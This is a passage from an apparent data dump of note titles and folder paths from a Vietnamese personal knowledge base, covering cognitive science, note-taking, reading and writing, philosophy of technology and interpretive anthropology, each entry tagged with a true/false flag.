"⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Khoảnh khắc loé sáng ý tưởng thường đến vào những lúc ta không tập trung chú ý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Sự dễ hiểu làm tăng sự đáng tin, dù có thể nó không hợp lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Sự lập luận dùng để thống nhất, nhưng lại có sự thờ ơ với lập luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Sự lập luận không được tiến hoá để có quyết định tốt hơn, mà để có quyết định nhiều người đồng ý nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Sự đau chi phối sự diễn giải của ta" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Ta không nhớ những điều mình đã làm người khác đau bằng nhớ những điều người khác làm mình đau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Trong hoạt động nhóm, thiên kiến xác nhận giúp giảm gánh nặng suy nghĩ mà vẫn đảm bảo mọi lập luận được trình bày và cân nhắc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Truyện cười thể hiện những nghịch lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Việc con người không thường xuyên suy luận tốt dường như là một sự sắp đặt có chủ ý của tiến hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Suy luận", + "Đuối lý, thuyết phục hoàn toàn, và né tránh là những thứ khác nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Sự trì hoãn giúp giảm những hệ quả không lường trước được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Tiếng Việt rất không thuận lợi cho việc tìm hiểu các mức độ nhận thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Trí nhớ", + "Ký ức của chúng ta chủ yếu là những mẩu 3 giây. Hầu như tất cả các mẩu này biến mất không chút dấu vết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Trí nhớ", + "Nhiều khi ta nhớ nơi lưu trữ thông tin hơn là chính thông tin đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Trí nhớ", + "Trí nhớ tình tiết và thủ tục thường để não nhớ. Trí nhớ ngữ nghĩa và tương lai thường để cho não ngoài" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Trí nhớ", + "Đường cong trí nhớ, Lặp lại theo khoảng (spaced repetition)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Việc trì hoãn giúp đánh giá được mức độ quan trong" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Ẩn dụ", + "Chúng ta sống bằng ẩn dụ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Ẩn dụ", + "Các ẩn dụ tri nhận cơ bản dựa trên mối tương quan của cơ thể và xung quanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Ẩn dụ", + "Di sản nhị nguyên của Descartes vẫn còn được sử dụng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Ẩn dụ", + "Ẩn dụ là nền tảng của mọi suy nghĩ và lập luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Ẩn dụ", + "Ẩn dụ tô đậm những tính chất chung và ẩn đi những tính chất không chung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Khoa học nhận thức", + "Ẩn dụ", + "Ẩn dụ được nhúng trong các neuron não. Chúng tồn tại dưới dạng vật lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Chúng ta không quen thuộc với luỹ thừa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Con người có khả năng tự nhận thức ra lỗi tư duy của mình, dù khả năng đó không hoàn hảo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Các công ty ít có lợi trong việc đầu tư nghiên cứu môi trường tư duy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Công cụ nghĩ", + "Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Công cụ nghĩ", + "Công cụ là sự nối dài của cơ thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Công cụ nghĩ", + "Công cụ nghĩ giúp ta có thể nghĩ tới những suy nghĩ khó nghĩ và bất khả nghĩ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Công cụ nghĩ", + "Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Công cụ nghĩ", + "Xây dựng hệ thống luôn là nhiệm vụ phụ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Công cụ nghĩ", + "Đồ thị không phụ thuộc vào hướng. Bản đồ phụ thuộc vào hướng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Explorable explanation phù hợp cho các trình bày liên quan chặt chẽ đến toán hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Explorable explanation thiên về toán, còn data journalism thiên về thống kê dữ liệu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Hmm…Because…So now…" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Hành vi và phản ứng là những thứ native trong môi trường máy tính" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Môi trường nghĩ là nơi ta có thể có những loại suy nghĩ mới, những suy nghĩ mà trước đây ta không thể hình thành" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Mạng xã hội", + "Các bảng tin làm mình cảm giác ai cũng thấy giống mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Một môi trường nghĩ thực sự mới là nơi chỉ việc dùng nó thôi sẽ thay đổi cả cách nghĩ của toàn bộ một nền văn minh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Nghĩ về sự nghĩ làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Powerful medium enables powerful representations" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Thiết kế trải nghiệm người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Thật khó để nghe thấy sự nghĩ của chính mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Việc dùng game hoá để giải thích có một bất lợi là các công ty làm game tập trung vào việc tạo ra game có tính giải trí hơn là việc giải thích" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Việc đơn giản hoá một khái niệm phức tạp để giải thích cho một đứa trẻ hiểu làm cho bản thân người giải thích hiểu được thêm về khái niệm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Dùng thuật ngữ chính xác hơn dùng từ bình dân, nhưng ngay cả chuyên gia cũng không phàn nàn về việc dùng từ bình dân, miễn là việc đó không tạo ra sự mơ hồ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Collecting material feels more useful than it usually is" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Cần những cách lưu dữ liệu khác nhau cho việc họp, nghiên cứu và quản lý dự án" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Evergreen giúp tăng khả năng nhìn thấy được mâu thuẫn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Evergreen notes biến ý tưởng trở thành đối tượng để mình thao tác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Ghi chép tay creates a tactile information recall" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Ghi chép thứ mình nhớ kém" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Khu vườn số luôn phát triển và thay đổi. Nó không bao giờ có trạng thái xong" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Tiếng Anh càng làm mình muốn đọc lướt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Tóm tắt nội dung bài giảng, dùng bút đánh dấu đoạn văn bản quan trọng khi đọc sách, đọc đi đọc lại một chương sách hoá ra lại là những cách không mang lại mấy hiệu quả về ghi nhớ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Việc thu thập tài nguyên tạo cảm giác hữu ích hơn là thực sự hữu ích" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Ý tưởng nếu không ghi lại ngay sẽ quên rất nhanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ghi chú thông tin", + "Đọc lướt không giúp ta tiếp thu được gì cả" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Giấy và bút không thể hiện hành vi của hệ thống đang được nghiên cứu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "In nghiêng câu trích dẫn thay vì để vào trong ngoặc kép làm câu văn tự nhiên hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Một văn bản không nên chỉ là thứ để truyền đạt thông tin hay hiểu biết một chiều và thụ động, mà còn nên trở thành một sân chơi cho người đọc khám phá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Một văn bản không phải chỉ để truyền đạt thông tin hay hiểu biết, mà còn nên trở thành một sân chơi cho người đọc khám phá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Những câu trả lời luôn giả định người hỏi hiểu trước một vài khái niệm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Sách và bài giảng là những môi trường được thiết kế như thể người học hiểu hết hoàn toàn trong một lần tiếp thu, kể cả khi tác giả và giảng viên cũng không thực sự nghĩ vậy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Sự phát minh của việc viết phát minh ra việc lập luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Sự phát minh ra ký hiệu phát minh ra toán học hiện đại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ta hiểu một đoạn 100 chữ nếu có không quá 3 từ không biết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Ta không tận dụng hết được môi trường máy tính khi chỉ bắt chước môi trường giấy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Tinh túy của một cuốn sách chính là mục lục của nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Viết cho phép ta nghĩ về sự nghĩ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Viết làm suy nghĩ không còn là vô hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Việc rút gọn cả bài thành câu tóm tắt chỉ có tác dụng khi mình hiểu dược những khái niệm quan trọng trong bài" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Đọc một bài viết sâu làm ta biết mình cần phải làm gì nhiều hơn là đọc một bài viết nông" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đọc và viết", + "Đọc mục lục một cuốn sách thì đơn giản, nhưng có thể truy xuất được điều mình cần và vận dụng nó một cách hiệu quả thì phải đọc cả cuốn sách" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "Đồ thị giúp ta thấy được mẫu hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Môi trường nghĩ, nhận thức tăng cường", + "❓Môi trường nghĩ giúp ta hiểu được những thứ phi tuyến bằng việc tuyến tính hoá nó, còn công nghệ là thứ khiến ta làm được những thứ phi tuyến kể cả khi mình không thoát khỏi sự tuyến tính" +] + +🚀: true +[ "", "⚡Hiểu biết sâu", "Nghĩ về việc nghĩ" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Ngôn ngữ, ngoại ngữ, dịch thuật", + "Dịch thoát giúp người nghe không chướng tai, nhưng làm mất cơ hội để họ thấy sự khác biệt trong cách tư duy ở nguyên ngữ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Ngôn ngữ, ngoại ngữ, dịch thuật", + "Luyện tiếng Anh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Ngôn ngữ, ngoại ngữ, dịch thuật", + "Để dịch một khái niệm, hãy vét cạn các nét nghĩa, các cách dùng, các cách hiểu về nó, rồi tìm những từ chứa đựng được càng nhiều nét nghĩa càng tốt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Quy trình xử lý dữ liệu cho PKM và phát triển sản phẩm là giống nhau, nhưng từ dữ liệu ra insight rồi làm gì với insight đó là khác nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Ta cần lý do để người khác muốn đáp ứng nhu cầu của ta" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Triết học công nghệ", + "Khi hành động của một người được tạo bởi thiên kiến, ta thường nói là nó phi lý. Khi một đồ vật được tạo bởi thiên kiến, ta thường bảo rằng nó trung lập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Triết học công nghệ", + "Khi sử dụng công nghệ, ta không nghĩ là nó sẽ thay đổi bản thân mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Triết học công nghệ", + "Một dụng cụ có sự lý tính rất rõ ràng" +] + +🚀: true +[ "", "⚡Hiểu biết sâu", "Nghĩ về việc nghĩ", "Triết học công nghệ" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Triết học công nghệ", + "Trong khi khoa học thường đi liền với công nghệ, triết học khoa học thường nói về chân lý, còn triết học công nghệ thường nói về đạo đức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "Tìm hiểu lý do làm nhức đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "❓Bản đồ là cách để ta biết mình cần gì khi còn chưa cảm nhận được thứ mình cần là gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nghĩ về việc nghĩ", + "❓Essence có phải là sự trừu tượng hoá không?" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Có những thứ mà kể cả phỏng vấn cũng không dự đoán được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Chú giải ban đầu là để hiểu lời của thượng đế, nhưng sau đó lại biến thành người có góc nhìn của thượng đế" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Diễn giải văn bản không phải là sự đối thoại do nó không phụ thuộc vào việc có mặt của người nói" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Hermes vốn chỉ là người đưa thư chứ không giải thích, diễn giải gì cả" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Khi người quan sát có sự kết nối với nhân vật nào, thì những nhân vật khác sẽ trở thành nền cho nhân vật đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Khi người quan sát có sự kết nối với nhân vật nào, thì những nhân vật khác sẽ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Khi nhà nghiên cứu chú giải văn bản, họ kiến tạo ra đồng tác giả cho mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Không giống như diễn ngôn, văn bản có thể dịch chuyển được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Mỗi xã hội chứa đựng những cách diễn giải của riêng nó. Công việc của nhà nhân học là học cách bước vào những cách diễn giải đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Người làm nhân học kết nối với lý thuyết nhiều hơn, còn nhà báo tường thuật sự kiện nhiều hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Người đọc là người chú giải" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Những từ sử dụng trong viết lách điền dã nhân học không thể được coi là một độc thoại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Sự kiến tạo cuộc đá gà ở Bali thành một văn bản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Sự kiểm soát của người bản xứ đối với những kiến thức có được trong quá trình thực địa là khá đáng kể, và thậm chí là có tính quyết định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Thông diễn học bắt nguồn từ việc chú giải kinh thánh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Tính một chiều của dân học diễn giải nằm ở chỗ chỉ diễn giải văn hóa bản địa chứ không diễn giải văn hóa của nhà nghiên cứu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Việc đọc là sự gặp gỡ, giao thoa của thế giới của văn bản và thế giới của người đọc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Văn hoá là một tập hợp các văn bản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Diễn giải", + "Để có thể diễn giải thì việc tiên quyết là phải văn bản hoá, nghĩa là tách những hành vi, câu nói, niềm tin, lễ nghi, truyền thống, v.v. ra khỏi diễn ngôn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Khi nhà nghiên cứu xem mình là người đọc và chú giải văn bản, họ bóc tách các lớp để tạo ra một văn bản mới. Khi họ xem mình là đưa thư, họ kết nối những văn bản để tạo ra văn bản mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Trải nghiệm, diễn giải, đối thoại, đa thanh là những mô thức về tính uy quyền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Uy quyền diễn giải loại bỏ các quá trình đối thoại. Uy quyền đối thoại hoàn toàn che dấu đi tiến trình văn bản hóa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Biểu tượng là hệ quả của sự nội tâm hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Không trực tiếp nói đồ vật được dùng để làm gì, mà mô tả sao cho người đọc tự liên hệ được tới chức năng của nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Kể về bản thân cho người khác vừa là sự kết nối những với tổn thương của mình, vừa là một lần tự sát" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Mỗi một đồ vật, hành vi đều là ẩn dụ của một biểu tượng văn hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Phía sau các tình tiết hiển hiện ở bên ngoài tiềm ẩn các ý nghĩa phía sau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Tình tiết là các sự kiện cá nhân" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Việc phân tích văn hoá không phải là một khoa học thực nghiệm tìm kiếm quy luật, mà là một khoa học lý giải ý nghĩa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Văn bản là nơi ta đọc ra các ý nghĩa và diễn giải nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Ý nghĩa và biểu tượng", + "Văn hoá có liên quan chặt chẽ đến biểu tượng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Đối thoại, đa thanh", + "Cộng đồng là tác giả của nghiên cứu, nhà nhân học chỉ là người mang thông điệp của cộng đồng đi đối thoại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Đối thoại, đa thanh", + "Một bài viết là sự tương tác giữa rất nhiều tác giả, dù có thể ta không nhìn thấy điều đó một cách rõ ràng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "Đối thoại, đa thanh", + "Từ chống chủ quan đến liên chủ thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "❓Sự khác biệt giữa việc đưa thư và chăm trích dẫn là gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết 